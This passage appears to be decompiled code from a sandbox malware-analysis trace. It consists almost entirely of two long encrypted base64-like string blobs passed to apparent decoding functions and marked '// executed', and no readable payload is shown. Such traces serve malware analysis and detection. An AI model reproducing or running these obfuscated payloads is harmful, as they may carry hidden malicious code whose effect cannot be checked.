wHL+fqZigw/YYsJWdoPtclaT7msmhhT5NuQgAOkNeLoC8kN1egIXI2M/lXYzzugix0sQBjAbmHX17qAXI+wJkIjYXDZeI1/ZSGiEWJE3oBzCJ6V6K2XxmrEgwU9RNQtMJ0ez45C1HG8DwHd4pEZij1MmB3kSAAX98VaWaXL5vQxiAOVl9QmrfMJWcw1BpFLd0aExCoA3B6jkW4ibsP4odInNctaV4Lf/PPD9fGBu8xZtB0YUPHGk4AV1Zetg0zMZRtEKkxZhRXYUOLEk7ZmBdD4zSuCqTdhwO+p61Eq4LpWtcsXdcrJ1f2N2ihIzj9M7yAJFOErV5hjDtOM/lmV7HEZij1A1SwFfIa1BtxxBOq8D0z8EoqZqkxZmepnryBEk7lWwGUtg0zyYkWBqk5ZslpuzCBKk5NP1WgvD0zzhHaoW2Qrh1HYfslFsxFzBO6WLLcuNVfgru+qzKAJFtLCV5hzBNG5XLcuJVHfia1E1xA6g4YqL9Kh4e3NLLirlajKzD1A1wURQoAmBtxKvVeNxNmVwmjIzi1G1RFoCYQUd8kXblhyIeiMkTG2e3BsQGvEREAX98kpQ86yIeiMrwwed2LsQGn9fgAXzUkrWjXcpiiMrQ4oAF0sQFvRXwAX58MZVHfQlDMRl8qoW1UT0pHYcJNf6SXLWc1clgtzhEK521UI2e4nsJ1fxaYA+XVcliqA3AS7W1k/wBjUchFR9claX7VclBnzBHK7X2Q/Qmv6Ackf7YVDlRef/vnJwnpquQ8/YAP6BsIF9cRVRLXf1iqF0R9LquYVoMDRQvhWl5hihJ6f4/+R1ShKgw8zimGdy9B1K6WrH2U5pEgjZXDYKE4UgzGFWdIQKlgTd0aEzDLEicrZmD/DlwP4oQQF9V+pg+Zc1xrfekqZukYUgxDoCckF1kKCXIWTPFnYxyrEgw8AHabY4REe2ZBN1ZetgwHf49wwv/1AmB/GRmuiBrqCXJmvCwHDxyhLUicGfVGYXZumeN/dpAqLTCoXBwRuV3WRYQP6h8kbxbqOXIef/vnZwvpLqM3Rq+trY9I3LJJihJ6P5o+R1TtIgx4jAxHYYREe05dQlZe8DwHd9XbZig8/ZWGDWcwU98VaWb24WvAxiAOVlSOb6fMJWcw1hpFfZEaEzg4rCQBoSxQKyVjeIREe2b6YdTR8DwHDwhL0i6zMmB3wuEAX98taWYhnINaxiAOVl35rQIsJWcwUtclaWbfQ1wTno2BUqMwUnTOJWcw1BJFdd0aEzgQj90goWxQRg/zYUOBE3pRsK0EWPlXY2QOtXgb/QBjUcpEe27qAXIWvHwHdJyjLCyzMmB3Xd8AX98laWZwEHgjxhAOVra0ibvGFWcwjPZrTd0aE0iqA3AaLquwXoeLrY9M1IIoxA1WfvFIVx2jFTAjPserAciEe/5hTVYWvMQH71QqZmD/wmDfYUMA1PJF3VZeNzGqPISjIgxEP800oQuLhtcNaXa2tf4jR2fqoWxQJn94YUOJG3o5Bd1bKgwhR5NuQnxl5kRHKcbAUNvSTVZe8DwHC0dvZiizMmBv9e4H/9UlaRrTO/jiplCjKgw49zBjLZfNRF6mCXIeOZojR5VOQmhytyBjIUXBO3ohSNcaEzj4qKvV51xQNmfseYfHG3olf75eNxNnYxBJ72xQMvzAAFuGjjJFCdcqEzzvy3oqoWxQPv8QYUOLE3opurd1/anKRJ6QKFxKA4WuZ8pMexbgOXIWnlwvR99uQmD/MmAD6gckH9UlaRq267/cuByjY3EHdEQL6oxE1JspxoAWvLNvyggOBmH/LVQO6igYFtUSbR/V1CdruLTmKqOoP80caQqJNE4oxCVGYDl1BgNi58T0dkRH6sckp15hTd3qE5AjR1Ri7YRQlkRHYQeL63qpTVZec/OfY5QqZij9MmAfKMBj517qyXKGN3gjziAOLmH9HezOJWc41NpFnVZeN/FnY2Rv71vkP8+eJMp71xbqtL5XsngjdJTtIgwErWBHYYREeyo0vVZevjwHPxyhY4wGdEQP5IMP2sphTVaZc1xLwa4qZpLoZX7Fpgckd3JbTy6fW1xLRdVeQkAaYkZHpgckO677TVafW1xHT9VeQkxKKU9HpgckP+UiTVafW1xDSdVeQkgkCk9Hpsckr15hTZDuN3iiy3DaZih0umC/k4Kke65hTVZZtswHt1QqZoi+KTjM5WfwX15hxhJ6V/NnYzChIgwcnsaBnrxI1ltmP1Rec/FXY2Ru7eY4/YMP6pZI1JUlxCp6HzCgI3AKZtekOsnbRcMAX14oxg1+fvNIbx2hFRg9/acGPgJeAJ0pxAp6Py9rxLhq7WxQDg3MmAuLhdclaX7Vc1xTzhAORsCb9URHLCBBY5klaWbR9ngjgBAOUpDodkR0oQuJG3pZihJ6b9soR1RnZen/OmAf2bLwr66WrJe0MvF3YwyrIgwsxKBHYcJMewYiR66GtgwHHxrFnvD/MmAfKGhYbx/q2ZbWN3gjAt+2pqR0dkQOYpJMXISKDhLVfXxvyhYiKiu+nW8GbvQI516RTVYavKlFZJySZoh0dgXGg7wPX14lTkQ4DLBWQx0rehI99YRFLHjBLY7qD1IWNKhqfIdY3mD/KmAXKcDEHwGiBd8CE3B0D9fGBqPwUuRHYUNJ1Icoxq7Xc1wTzNAO9ih0dscjRWsA1hpFbb6itXgjD98v01h2doMDRRPd/F5hihJ6Y+5KR1TtIgws2qBHYQuFn1HkkVZeN79nYxzyCCh0zn03gYPHG3pJN7DN+/NvYxzdhwO+p61Eq/mnfrM3jL9YvjQHD9VeQmACPEBHpgckG2iDTVbfQ1xn//jZxak4UgBD1cZ13ipFCXjCyY/kA3Bq3f50di8DRQNY1hpFDdcqEzh8Uznn51xQNrQcDzuBK3oh7osSgr+nY8wqZii4fURH4Mckx15hTecxyIfi63CyZih0fMXLRdsAX15SPMmVtvwH31QqZtB9ibvG1WeYX15hRELi/POnY8wqZij/MmAH6gckG9UlaR62HLzcuByjY5AbdEQL6oAzjRbqgh7Va1xTD9fuBnc8iaSLrY9I3LJ5ihJ6P+pTR1QZpmT/t80DRU/HG3pB42JeN/lXY3THUgVw9zBjQUUFdFrqCXJ+vjwHZ5NuQhickmcApkckR5ABdZEaE1BAmCcBoWxQTl2JkWTHG3pBX4VeN/lnY3SPSdeL9zBjQbEHWV7qCXJ+vjwHZ99mQgD/MmB3Uou4XMd1YhfXP79nY3RDtyh0/QhjQbThnrRlxAJ6FxNnY3Qd72xQVoUjRWMG3hpFbYuIN3iiM3AK/sFTds8DRWOJG3pBxhp6D/MnY2fi3ov/WP4G6AsEmBpFbUYDN3ioC3AKkcm1nEDONWcgnjJFbUafW1wDSdVeQggxc0JH6gckf9claXYWtLw7hJijMgxkJQzEjROL23rhTVZejXwiR1Ri7fH9MmBnifSAX15SjR7Xc1xnzhAOKmD/cykpY0PHG3ohBFpeNzCmh1uvzyh0doMDRXfV5F5h96ugvEfkA3ACegi3", 0xffffffff); // executed
				if(_v56 >= _t264) {
					L1000E25C(_t155, _v80); // executed
				}
				E100072DC(_t131, _t134,  &_v88, _t157, "54UjRXcEnjpFeVSfW1wXRdVeQhw740dHpgckbwvoTVafU1wTQ9VeQhikHz+M4Dckb6Kt7WffQ1wTs9P0nO8wUnx+HUMA3hJFdQHVp/SiM3ASeCLh+oMDRSuIU15hjDp6X3CoA3BCZej9MmAvoCckN1DgOXI2FBQgR99uQkD/MmB/6gckb9UlaWK2KbrcuByjY5sZdET9ZUIAXxbqhh7d8yh4D6vKquS4PsereYREe34UdlZe8DwHZx/dZig4/Y3MNWcg55OtgZqp1bnJQt1+QggfMmBnLcpEe37ZAMeRjTyoA3AKJ9+UMm+FIJLoG12jDJe2MTyqA3AK52xQVpPdnryBK3pBBIGsyPNnY3SjIgxUsQBjUaie1yKmSXIbv652gBAOTqS/oTyAJWc4G9YnB5EaE1haelQq7WRQVvxiKNEkqL/Z7t1wjVPplr0prOmddM0LRWPBO3pBSN0SE1jUppXAY6EgUmTGFWcgWy5sTd0aE1iqA3AK7WRQXs8DRXMzlx/oRJEaE1hKeFQq51xQVuyQXuLBO3pBTt0aE1jip1GjIgxU/QBjQc4Mn9ctaXbfQ1wDIesJWaMwUmTOJWcg1BJFdd1aE0vr//ceWBo1/w1Dpgckfyu4TVbfe1wDtMdCQaM4UmSwgGjKjrdih5e3MfFvY3SrIgxUY8FHYcJ0e34Tssl5tgwHZ6ltqg//MmBn6AckfxbiiU6d+7TvD91mQiAnPserMciEe9ZhTVYWvOQHx1QqZhu9/wBjSQuJA3pBpW0gN3gQh5NuQmjUZURHKcpEexopxlOrXHojD9Hqaa2+dkRHpgckP1TMTVafW1xDT9VmQkjrRfBw4AckP3ulTVbVc1xDgBAOTrzZceSGgUGJG3oBzCJ6V6UVmIrtIgxAKD9HYYJse2pxJhJ6A1+qA3Ae3nU1OurGLWc0E2sWytcqE0x+bSStoWxQRuXcYUOBG3pRUcKhyPlnY2Quc9eL/QhjUbThnrRnxAJ6B8KJcNcy51xQRora3UHHG3pZF5leNxNnY2x472xQTsUzRXtB2hVhxhJ6D/NnY2ShIgxA/QBjAauF4KGeBd9bFRMhR2f4LqO/PseDMRhIoL6tBd8CE3B2EQNrMmkhNxIGNguNM3qRBdeyJ3kjR2fqoW3cMvpHYQ+LvRLqtOjXGHgjgBGG8eR0dgzOJPNFbKjerIxeNzmed+EqZqmK3OxHYUyPgFthTVnaBX0jR9/k58H1e0RHbsekU15hzr8fOPwoRVQq58FlfURHbsdWXl5hzL/oIXgjSNBqZyh0963EaEMAK3TgtG11N3gswgomZig8/RHnKMjPt4jITFbnNngjR+qAzih084QDbgbxtNOmCDaWn3gjxiFKSJmAl4UqAUfROj7gODaiJUavxiFKprh05s8CAcpF25kkLV9ZN3iiAjS979eLtyEnZsJ1P14xhamZchBaB1Qqp00cecUKCelLRI/gOD441UzSgBAOHssAdkTGLWd4NTvmvtcqEwBCSNzZoWxQArUtYUNrG3oVQ98aEwyiM3Be02lzdoMDRT8tLV5hzBJ6S9RCR1SrEgwIP8NCYchF29claW7Vc1xfA99mQlww/QEn6hckJ9UsJd8aE0hrzBG6LqEwUmwP7AaIF9claXa2mbPcuJNvBi9wdkSGBCMF4d9sTVbk5GAjR5VHBiz1MyQ42Lz/3isBwJehyPNuJ2/raWyGnzu5nry+95dhTb8ryYfcgBFKND90dvzuFSfP1BMBurfmPlvOH5XAYKEhFsUCAXeOX17gCDbNNYfczBlKkclfvJWuYonBtljoADbfQhg4nuUooWxQCkyxYUPBO3odQNcqEwR7V5o0oW0c3FNHYcJFNwKvTVbfchDKPVQq510cX1pAYQeLEj4txhPWvC1LzBgOGsDpQkZHpgZg4iRhTRfVwvluJ+jNNNzOtElHYcJ1P+OeH6K3d4fcuJNvBvgIdkTGLCMRuVJLzCM+omQkbd9vBsDS9EVHpgZgpkxhTdcbV6ZuR1Ri7fD1MyQMUkMA3hMB4onvYvlmJ2O+Zij1AyTpEvFV1BsBxBPa8DwHN7pcZijMUw3VRcJ0ey7zoRsttgwHNyiwK1uzMmAzcBoAX98taSKc11cDzBgOEt+Vzs3P6csrlY+ITpyf3n6qC3Bep0xQAknGFWd0J/4hf5EbX0hER1TrA0B99wEvPPD/oN8kJW7rN3ioCjzdh5A7moAJoKkE1gsJzCM2ZnQjR5NuQlSkJERHoC8kI1nqAXIiwJmbwkRobumedc0TRT+BK3odn1dZN79mx4RZZii1G8RM4DaABDJvTZEbV6wrR1SrK0gGyTlA4AZgjx1hTd0TV4/C/2vvQ2tfvJWuYonBtljoADbVehjUpuy1dMxdt65C6BZg3isBrg5ZN79nYywHoSh09wBjGWO2X17qAXImwJkIjYXDZeK1n0HOLWd41BpFNdtSd7nCQt1mQlD1AmA/TKoJXxbsCJYWvKtrzhAOBmD5M8AP6AckB9UlaS7Xc1xzzBFK72xQPs8C5cpEex7qCNbXc1wbD99v7mD9MmBv6gckIxrqAXIuc/NmL99mQlz9MmBnia/XoKGmCDYSsngjzIShI0j5esSGgEGJEj7gODauXnIjzBFKXfgBDoMCATfnX14twBuW9hVDSNVfBmZ9IJHGFCNSPgW0ihJ6R7F9R1ShIgwE+0gHKM5HV5+ATx7Xc1wLgBAORmh0dkTOLWdw3ipFPSrDMHjkAjzOiyh09zEvAEtU2d8UJbMhY/5nzBFC7XxQBs8KAasUhl9h86SwN3jIRBWhk+8xHnLZYUO4Zi6BjdcTX18FwgOrI0Bperu44A5oDBQU49crX+pbs6vtI0jgeERH6g5gqL9Kh4e3NLLirlKjK0j1AyTTs/oC3hsBOWyhyPlmJxUfZij1AySja/cCmBvhx9deN7lOx1irE6iLIU1HpgckLzfjTVY1c1xTJt1uQlj1AmA3p2o2X9UlaSYavDWjzAFKjxl3dkSAJCuUdF5hJhM2LfFmL99vDqV4NvzYc6cpnr9lxBs2vDVLsLWSX1iUtm+NsKoDlZ+IS98TX7lGL12rE0AqwpJEpgckL3yPTVbfc1xT6iQqZqkAUjQO0kIAmBsBXbBeN/NuJ6PLTeKln0eNoKoG1hMBzBM+rwUjR5VHBiofMyQN6AZg3isB47lQNzSoCvRu7W0U/RBjEchNN7YT7FdeiU7GR1TDc9KLiQV8lEyEMFhhTdegn7EjR1uuhyt0dn+wbsfNXV5hzKho0ngjSNBfZCh097q1j0MAUNvyS1Ze8D1DztYqZkMxFgXOJCOBKj41D3VevD1Dr+5UZyizMyw6NEMAnjsJQx7V78DqBUKY510coSc2EMhNN6mA9Y0VX1firVGjM0D/OyywgPuj1HDbZpyP3nvphr0v72Uc9zEvBi4FX5klaSbSLXgjxiAOFrqMw1/GFWdwKKzQVpEaEwDCdVQq51xQDi5X+maLE3oZuref3XyqE3BS51xQDuwq0ULHG3odIIteN/NnYyinaqj9OmA74AckI+aSsqnfQ1xf6h4hZu8xFgUeYUOBEj4cWLzGtj1DXnXVmUMxFm3OJCOBEj5orFeQtg1D69NBme8wUjBLLUMA3hJFORhENQOiA3BeNimLicUzRTcUBn5IzCJ6Q0ldZgahIgwA/wBjAchFP9claQ4Wuj27D91uQnj/MmA76AckF9UlaS4WviQHB91uQhA1/QBjacpEe27qCXIuvC1LC99n9qEwUmwO6kckF9claXa2ZajcuJNvBlm8dkTGJCONlqGeDN2r9h1DSNVfBi5ISJ7GLCOZFR5MzCM+qAbi+N9nBu8xHmHxYUM7nub+X7J3ODzUxhFCfTN0dsUCCWivX17gCD7rzYfcxhFCDGl0dsUyCX5OUV6mCXImuWwjR9VuQlAL60RHoC8kJ1rgAXIm86AdltVeQlD+nXiWpgckKzchTVbVe1xXsLUBrPmddY6GiEWJE3oVzBJ6Q8c5uKurEgwAlnEsPsJ0eypWv8H+8D1DZDAqZqk5FpqWoRaBKj649yEk9hVDQz9vBmH9MyTGFCOPd+S4xhM+c/NvYyChMgwM/QkvLcjD1hpFbb55VXgjrn4uZiizMyzQ/kMA3hsJx1BeN/lWLzt4YyizMyRSJ0MAnjsBQ9cTV1OvbLKrI0jmVbu44DZgJYjHuhrVcuCoEjShK0CcGMdHYQKLqrdKuqmh8D1Ll8wqZpCtwttroC5oWd8UJcn4NGfiKjwu520cSBBHYcJ1N9PvvVeZc1xTmcIqZukQUjRN4DckL5J/GlSZc1xbRzIqZqkAUjxW0avR3ipFNb8R9GOiC3BSi+QpZcUDRTsleqGezCJ6T+lEOI/tI0hGkERH6g5gqL9Kh4e3NLLirlKjK0g8+wnnoC5gT98kLUa5N3jiIjQk510U1ayCWMhFP9claWbVchBnzBgOHqMgUjQL6gaI1hpFZR7VcuBrzhAORsCtvkVHpgZgJ5dhTdcbV8OEuKuhtpZCk0RHCgZgJdckLe4ZU3gjxhFKN2iLicUyAaSGClPgODYmgxguzBlKXfl7MrSufrX/oJkkLfIcN3jiIjQp510UvINIYchFP7bZrFZe8D1L5FwqZqkxHu8inrxI1IagKD5O9hVLQdVvDnspibvGFCtvtONgihM+gQgjR5VHBiu1GyRCoC5gWTUkLQjXchiiMjTHPyF0/QEn6gZotzPFsqmZchhr6FQqLqOMPs0bRXOLGj4twBvOunSjhrUp72UUPs+ICgZgBNckLdcTVyZPiQGrI0ic/bu44DZgmaWcEJEaEwjEeFQqp0RQBknGFWdwlU5gTZEaEwyOMlQq52RQAvg8m+rBM3oVQNcqEwzN2ymo51xQAkwFHMHHGja6qlZeXD1LTN1vDukZHk2GDCsJ3isJ4BVZN/NmL91uQgD/MyQD6gckK9U1aSbXc1wDrzjdZiizMyQ/d0MA4S2eTVafWhgo/VgTZij1AyTtzTNHnjMBQtcrV5mtR1ShK0izM8Ser0MAZJ9uCaTfcvhG+FQq5130T8xBYYRFNzKBTVbfQhC+AI7M520cAhK4nsJ1N2ynn7CZchiwflQq520UDJxHYZJtP58MLVTfQhgyb1IqoWxQBtb8YUOBG3oRo2ReN/lXYyTg9Cx0Os+E6gckLxrqADbVYhCoCtSjIgxUnroZYUPHGj5iyFZejwUviZOrI0j/wERHLcjHnjMBS9cbV5NbR1ShK0iDl4WtZ8pVP98ULaYFNHjkAjwkdSh09wEvAokAX98kJdUiyIfiIjwi510coRUdYYREeyLuZFZeXDwHOzyjIgwIzk2MXM6LE3oduref3XyqE3BW51xQCs8yY0PHG3oRBHBeNxNnYyQJ72xQBsUzRTPqvlVhxhJ6RzyoC3BW7X0c/Qkn6Ackf7YuE1ZeiJn5R1TBNu8xFuAbYUNrGj4IxBM+tj1DGmYqZqkxFqLmnrzBOj5qzCM+lqO0aZNvDktVdkTGJCuMxqGezCM24WrUuBihI6D/IyzMLCPo0iFhTejfOngjxqpZmSh0ecDqYUMAtmKSsqmZchgPClQq3uMfXuvGLCOOsXUjjDs+OLlOJ16pE0hVsQBjHU/6X16gKXIiMvlXYyhqvzB0sQHHDYgAX98szQTApr+iMtRl9bCzsQEvPRwAX58MJVHVehDUpn/gt8F3vIWuZcpNN98UJVQMPHjkA3BaXlh0dsULRTM1+nYbzCJ6R0cRZy6hKgwE/whjSchNPxrqAD4avD2jD99/9qE4UmTMLWd8t8HkTFYfvL5rzMgONil0dgzGpVMBX14gEhcAdiViGwt0O+u4Ps+DKcpYVxboPUYWvgA7EhV+J301IAUQKc5olhbgofZeN3ioAitm7U0DO8+u6AckHxbqCDkSvhwHfxyjIgxE/QEYpgckd35hTVbXc1wDA9/TjjIbdkQCUrXHGjkeNFZeiVBHR1SQbAp0dsW5SScAX1HuEFJeN3enClAqZqO6XY5I5a8BX17gpJtZN3gsw9krZij1n5xRYUMP24doTVbd3jssw9EqZij1jxhCYUMP2u1oTVaZcqvXAlQqp0WnZsUCsl8JX17gOIUElnojgBHlSFx0doUirkqBKpGIKSfUtg3stCe37O8xEQWrYUOBGjkRramhXD1EIN1vAakBEeDNN0OLGjnqCJnVcquoCqvCOMZ0dgzOJLRIqIZ6u9e4RUAjR9XsyWh0dq1+nrz/mBu2PwxeN8CAzHqQp0WjfscythnHGo2GC1ZevDXwsLXrjC39I5fGJJBPIl5hnDONtg3wE+AhZu8xEQQbYUOLGjnoCDHmEjGxY99nAd+VXY6WiEDKnrdixBs5tg1EKZ0A36kBEYi8S/rHGpGlWlZevD3sylhqp8l2/wmIKMjN3huuGXWhyPlWiB6Mbyj/M4sD6g7XG9UkKt0L5PFnY2Ri7W2TsQBjSWMAX14pxBJ6F5AbLFQqoW0TKY5HYfkBX15h83nVN3iiMjPNXZYatyEgb8JNOBpzuvTfch8wy1Qq510TIdq438hNOGWgCVkaxZFluavVoW0TuJBHYYJtOFPgODGNzn1SxhFNY2aLicUCBnaHoKHgODFbO3ZSgBH9Xtp0doUqtkCBKoloB1Vec/NmkN9/AWD/O7OvoQ8BX+DODVZe3oveuKvtI0/WS0RH2T4MkZmgIDFYtj1EWSDVmaM5EbOmoKkF1gsGzCM5n1sdQd9vAcCNmERHpgbT2F1hTd0T5DCon+y1dMxdgaVsq/slFsxFnL9d/bnKQd1ntaM5pbOmSonRtl2rjL9dvjXwxiH5CRsRcMUysiwzOlimCJmfD3gjLBHlUaExucUCrhBToKEKCJlpvj3s//+AzIL1A4uYAz4CmBu+jHheN/NumKPLLqU5iYWtYspVgN8UkuBxXaeiMoumIGia9zGYyhsobpkkmmGzN3iiMoMlh825tymQasJ1iHgAVlaZcqPEi1QqDW2vSs0CusJ1hBZHLLE1cqNSzhHx512vb3KGe4RFOHZATVafWh8mxhFN1Z50dsUCBrMwoKHgADFIXWqQxiFNrNGGic8CsspEew4pxhOxf/F/YxRi72xQTs8CBspEe24pwBNZf/FnY3yhI/Mw/QmQJchFgNU0gt8aE1jLWJzVmWz/toMCBslqX17Z8mroFcaMB1Qqp0UTcs8KBrTh5xAnTVaf3XuqEjOrE0/yNjDM4AZni4SestcrUBY4M9+hK0+zM59igUMAG2WgAd2dODzTxhnxj0YXBoUiukSBGoXq2lZetg34xCnYV+8xEeWHYUNrGjlZxBM5tg1E2+UwXUMxEV/OJCTBMjlrzCM5sJohR5NvtSX+dkTGJJDsOl5hjDuNMvlmlJb/mdf1A5dba7j/mBuuPvVeN/lWiNP4EW/1A4tzqqnV1BuujLZbvj3sxiHlA3nNJc8CrgeLEo3qGDHVeqOqA3AKjnQsdkSu+UYAX+Dp2FZe3u/YuKurmAkNdkRI5bIDX17gs3nVN3gswzkpZij1iMzSYUMP27VhTVbfyQLKR1Ql40txdkSAJJBnr15h9Y0VX1dnzigOVqk5pXgMdtCBKo0etkHN8D1EAW8qZqk5EfDZDiGBGjmS3lZevDVEsLUBrPmddY6GiEWJEjkKCDEZvj1E//ehSJL1AyP1R/NAmBuuzZxeN/NuiKPLL6O4t65C6BbPnjuuRt0b+LnDQN1vqakBuU35BVHHGok2alZe9hX0RdVfsVuJcUTMJJSJG3pJxhORc/NmIN9/tWT/O6POJWcgt3anTFaZch8BBlQq2Af/dkTMsShFOGfoCDHmxTgjR9VfAbr0eETMLCQ7jlElvb/dzYfcgBFNjs90dsUCBm37X16gKDFZtj1ErH7VmakBERfAn0OLGjmJ305fN79mkBb5Zij1M5OIfrz/F9W5zCOJPcvVuJNvAcHsdkTGJCTlyKGezCM52VvxxpVHAST1AyO5kE4A1BsGxhOJ35u5uKvtI/tyVkRHKcj4F9c9aWbfcquwVqvVKqU5mQzMrsJ1jMdQsqmZcrcnNVQqp027ZoUqrkSBEpFtaiLatg3sczHZ4u8xERuuYUPBMjljJhM5efFmINVnAcLxOZfGFCTjVACyihOJjLwjR9Vvsdr0dkTGJJTW815hzCOJPzojR99vsaEwUmzMJJBE1BsGxgORvjwHZ7zWiyh0sQEgluQAX+Ax51Ze9h1ESt/6DW0TPc0CBvsKfV5hzCM5N9iIYd9nAe8xpVnIYUM7jlElvdcb5AqHR1SS4Uls8MUKsg70DxngOIV28yxkgBHl+/50dsUyrhBg02/qAJmp1sB+BhiETeKln0eNoKoE1hOuzCOR45ZwRZNvAQIFdkTGJCTXVqGexhs5wJnirVKjM0/1AyNei+7KE9WizCM5Ja89j5Nvsaf1dkSGBJQKNBu2UN8b4PlWkF0l3hL/M5MD6g5n1AuuxhuNvjwHZ7xAMyh0sQGIKrYAX+a4+clytg3s1JBONGT/scUCrp+QoKHgOJlIzRpxgBH9OIt0ds8KtrThdJSwpFWU9pElzhn952WjBFk0bsJ1iI7JOlmZcqfA1FQqp0WreMUCvoJhoKGgIIldtjX8yFT2KakBqep5kRzHGjnjBlZe9h1ETpVPASalGyPMJCTBv1joCDHfQh9ysVoK7W0TMs8KvshViNUsgr89y4fcgBH93Z90dvycKisvnjO2Rd0T4I/CbJ77jyu+t61B6A7X3iu2wqRUN79miKiGZij1M4uaW0MA3iuuVd1WN79mIJP3Zii1GyNA6gZn0lLhjLddvjVExiFNoKF6dgjMLKRE1BsGxgORvDX0ryKLmdfKoW1HYaqVqKGeihO9wkwjR+x3J2Ta9wGk7OIAX98UrtSIN3jkAo/fMCh09wGck53/oNUslqG/9pIlzgHx7W2v+0jH2eKg//6grFXXeqOiAo/SMNeL9zGcqS7/oJkkgnleN3jiIpsg7WW7gaWGi0WJCpHgOJn9TH0jgBH5VJR0dsUCssS9oKHgAIXW89PtLBH5UqExpYUqskeBKo2obfhR8D38YMwqZqkxqR5wnryBGoG/DFZevD38yljqZeH9O5vGJJxfV15hzCOBAJ0pR5NvsXgLdkTGJJQ+haGejDOJJ/lWkKlG7XGzMyOQaEMA1BsGwFqeNLGqCjOrK09VEzk7CgZnZtckKtcbUNwGuKurE097S0z/6gZn1hpFFd0byPFnYxxi622TPs0DRQOLGonoCXJmvD38zhAOVqMxrc0DRWuLGr0lxhONvC3sC99niWD/O7POJWcgt5S+sqmZch94w1Qq7WUTMs+H2eKg//6WrJe0MfF2INVvAQpKdkTGFCRuYF5hxhM5c0PjMl6UHMF0dq1Ol7z/4YlITVbkPVojR9XUNoJ0dkvDh0MAX7eSuKmh8D1ENFEqZpC5uoiL4AZnqL2estcTUJJ4LRKhK0+Dl/zuFSfPnrRkxAM5vDVEsLXrjC79IyPGFCQ+4kphihOFuc4jR5VPvSH1A58YvcZJ3hu6U4yhyPlmnMOymdf1A59A4K1ImBuCnbteN/lupGL6+FP1A6ejCdx7mBuyNF9eN/lWlBeCV1S1E5dI4DbTW04Ol9cb5HuRuKurE/vxVrNNpgbPpLNhTdcb+OfUR1TrC+d69wGIy6P/oN8UglB3xoeoCpujKgxc/QkgJchNjBrqCLUWvC3MzhgORqM5raxvG0IAE9P9afZeN3hizJJj7XNEP880WQqLJB4oxrUfaDl9BglrOnW3NhcP4q9Q1NpFzVZeNzCond1uQgicrSdHYXDAF9claRIWvH2GFlYqoWxQNv6dYUNI2p5uyJleN3jkA3Ae9FB0dvwqoFVsmBpFZUp+9OmoC3AekclfvJWuYonBtlvoAXJq9hQHc1CrKgxAvdyN3cJ0e2r8Kpvi8DwHe0J+ZigfMmB7XcpEe2IKCXJibPFnY2iS5ZbUWcUzRX/BsFJmihJ6B9Z+R1SrIgxEw+y4noJke25xzCJ6B8D9eASrEgxEDRodN4REe2aSrlZevDQHf6PLp8Jw/xBjWfkahAA3zBJ6D+iRuKurEgxMjSmwnshEe2bqCXJuvDwHe99uQhycVuG4nguJWpsxT1YWvLNrxJB6PWCLloiLIRBI3LIhBd2E36pBR1Ri7S3fJkZHpgckY7z1TVYWsrgswo4qZiizMmB/S/oAX+SBbGKf8DwHbyZ0+wS1GmB/aIJse2ZjzCJ6D3vINybrCgxMZsUzRXsFwFBhihJ6CxUbR1SrIgxIIuJHYcJ0e2KDA65PtjwHe/2XZij1AmB7OND3TpklaWLmt3gjLBAOUiP9MmBzCgcka3PoCXJqtgwHcx6RTiEfMmBzNcpEe2rgOXJq1hV7f5NuQhhiM0RHoCckb1wKCXJuWfFnY2RBIgxEX80DRXOBE3pRcv1UzvlXY2SeuCeP/QBjUchEe2rqCXJivDwHf7w5wteLPs1CoQwCXxbqhh7d8zh4D6vKqmD9KmBPKcp8e040Bd2yf/vPN99vVmX/rw3MmcpEe36J/TdeN0v4dJ2SzMZ0doMCsUbrX17oAIJjqlMjR1uuZyt0dnmYWEMAUNo2T1ZeCjRtR1Ql4ph1dkR6Qi0AX1HlllZeN0UV7lQqaaz8dURHXBfeX14VX2v02XgjSNFMZSh0zpt+YUPr75kkhRpdN3huyh8a5128Lex0lsJFlwLgTVY1crBwzhHi5128pvGiRIRFm543TVY1crx6zhHu522wyVy4nsJFm83qsqnfQrw+e0gqoW207MhHYcJFn6lOTVbfergEWrvf52206xxHYcJ1nwczLsXfQrjZR8lMoW24+9xHYYJtk1rgOJoEVX4jzBHmIqMxts8SpchNl9claX4Wuj37D91uQgic+vlHYcbAUNpcTlZej+UIR1TDn9aLiYMCoQHSX17ZJhr6MDWuDHSrK+ihWzeW6g7AqL+wp98L9/lWhz5op0K1G4RB4DbAl63LTJEb89ZUR1TrC+xztymDbihFmw/oCJLfQrwcWFoqoW28wilHYShFlyboCJ7VcrCuSxQpr6E5vi8CqQaJGpbZltfnQflWjyRwS3uzM4jLeEMAnjOtSN0T+4/Chr4v73249zGLC3QNX9UkgRLVcrCoEpChK+j9MmBvKc5FhxboCXJ+37qfR1SvpifwBUZHYftMEV5hpHmgyIfkApj+Nyh0zpkAEVxN0hVVzCOSCggi+d9nqt+VXY6WiEDKnrdnxBuStg3vBvaCZ+8xthtXYUOBGp4O41Zetg3jbhUrZu8xsiLiYUNrGpoaxBOatg3nX+9uZu8xvkbmYUPBOpZmzCOW/+d5R99vrmz/M4DMNIOLEpLoCXJ2f/VmnxyjIgxUnmL7YUOFn1HlmldeN8AV7lQqj7uJibuAJIcuS15h9fXVGcKiMpAldbRQtymDZsJ1m//YvxzfQrxs4+hgoW28rMRHYYJll1rgOJ4mp8VLzBnikcnM/8zP6YLqWdc0hdcr/xwBcFXtI+jjS0RH4AbAm3Westcr9yOC3zqhK+iDlwzKJJtI1JGgp1UWvjwHZ91/pukZtknGFINTf1FhCd0T9zyoApyhM+yckcO4nvtUgV5hpKKiyIfkApR/7ih0O8kMWShFnxXoCJbfQrirST7H52W0wLquecJFn9l9sqnfQrj51r7XoW2wYshHYcJ1m6uFf4vfQryZnWP3oW24mxhHYcJNk2KVtkyfWrQkxiHmh9JBdoMCqXy1X17gCJ6Y64fcxiHiB3d0ds8CqQeLGpLqGJLVeriqA3ACLqUxrgzOJWcgt7vbTVbb9wwp/3dEZiidILi4nvsXLV5hcEEsN3gsw9QqZiidN7i4noRFk1AKTVbmeJTnCRmhrekZulSGBI8P3iut/NFZN79mj5IzZij1M4wnJbz/3hup7PJeN/Nuj6PLp8Jw/xGPKc5Vh98UhZLIOHjkApCiyCh09wGDQWr/oN8UiRUMxIeoCpBu7W28/whjQchNk7YEe1dejnkjR1SvpicxrwjKPWdw1J0oxg1O"); // executed
				r8d = r8d ^ r8d;
